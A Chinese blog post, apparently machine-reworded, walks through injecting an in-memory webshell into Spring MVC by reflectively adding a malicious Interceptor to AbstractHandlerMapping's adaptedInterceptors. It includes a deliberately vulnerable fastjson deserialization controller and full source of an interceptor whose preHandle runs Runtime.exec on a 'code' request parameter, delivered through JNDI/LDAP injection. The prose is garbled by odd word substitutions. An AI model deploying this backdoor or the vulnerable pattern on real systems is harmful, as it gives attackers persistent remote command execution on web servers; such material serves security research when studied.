摘要
Spring MVC的Interceptor运行内存马,让我感到震惊!通过探寻基本拦截器和启用步骤,我发现拦截器是如何被加上的。在实践活动中,我深刻认识到了这个问题的严重性。
正文
对于Spring MVC的Interceptor运行内存马
对于Spring MVC的Interceptor运行内存马
文件目录
- 对于Spring MVC的Interceptor运行内存马
- 1 基本拦截器和启用步骤的探寻
- 1.1 基本拦截器
- 1.2 探寻拦截器的启用链
- 1.3 探寻拦截器是怎样被加上的
- 2 实践活动
1 基本拦截器和启用步骤的探寻
学习培训、探寻和完成全过程许多都根据巨头的文章内容https://landgrey.me/blog/19/ https://landgrey.me/blog/12/
1.1 基本拦截器
不久前完成cotroller运行内存马能加上冰蝎编码后,又想起spring mvc的拦截器应当还可以用以引入运行内存马,现阶段的关键环节取决于寻找拦截器是怎样被开启及其怎样动态性加上拦截器
最先来写个一切正常的拦截器TestInterceptor类,并加上xml配备
随后运行程序流程,在浏览/home/index,并加上code主要参数弹个计算方式
1.2 探寻拦截器的启用链
中断点打在TestInterceptor类中,调节看一下启用链
preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
关键环节在doDispatch方式,先根据getHandler方法获得了mappedHandler目标
在后才启用mappedHandler的applyPreHandler方法
这一方式中便是先后启用每一个interceptor案例的preHandle方式,事实上就进入了前边写好的TestInterceptor类的preHandle方式中。
1.3 探寻拦截器是怎样被加上的
追踪mappedHandler的获得全过程,起先启用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法
跟踪getHandler方法,这儿会解析xmlthis.handlerMappings,获得HandlerMapping的案例,再启用getHandler方法
这儿中断点跟踪getHandler涵数处,会发觉事实上启用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法
再跟踪getHandlerExecutionChain方式,发觉在其中会解析xmladaptedInterceptors这二维数组,并分辨获得的interceptor案例是否MappedInterceptor类的案例目标,而MappedInterceptor类便是对拦截器HandlerInterceptor插口的完成,因此前边界定的TestInterceptor当然会被添加chain中并回到
到此,拦截器的载入和启用步骤就清晰了, 动态性加上拦截器得话,只必须在org.springframework.web.servlet.handler.AbstractHandlerMapping类的案例目标的adaptedInterceptors二维数组中加上故意interceptor案例目标就可以!
那麼重要就取决于寻找org.springframework.web.servlet.handler.AbstractHandlerMapping类的案例目标,CTRL ALT B寻找全部AbstractHandlerMapping的派生类,并在beanFactory的beanDefinitionNames中寻找它的案例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
因而能够根据context.getBean(“org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping”)获得该目标,再反射面获得在其中的adaptedInterceptors属性,并加上故意interceptor案例目标就可以进行运行内存马的引入
2 实践活动
最先用springmvc 写了一个包括fastjson的反序列化系统漏洞的controller
@RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
}
@RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制面板輸出jsonStr
Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 相当于数据信息实际操作
return "readjson"; // 回到一个网页页面给客户
}
浏览/postjson,并递交payload,而payload会发送至/readjson处,被fastjson反序列化,开启JNDI引入导致运行内存马的引入。最先打开LDAP和python服务项目,编译程序故意Interceptor类
故意Interceptor类源码以下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获得context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获得AbstractHandlerMapping的案例目标
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射面获得adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 防止反复加上
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("早已加上过TestInterceptor案例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 防止进到案例建立的无限循环
adaptedInterceptors.add(aaa); // 加上全局性interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不影响一切正常领域模型
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
这儿递交2次payload是为了更好地确定:不反复加上interceptor的编码起效了
由此可见Interceptor运行内存马早已引入了,如今弹个计算方式认证一下
关注不迷路
扫码下方二维码,关注宇凡盒子公众号,免费获取最新技术内幕!
评论0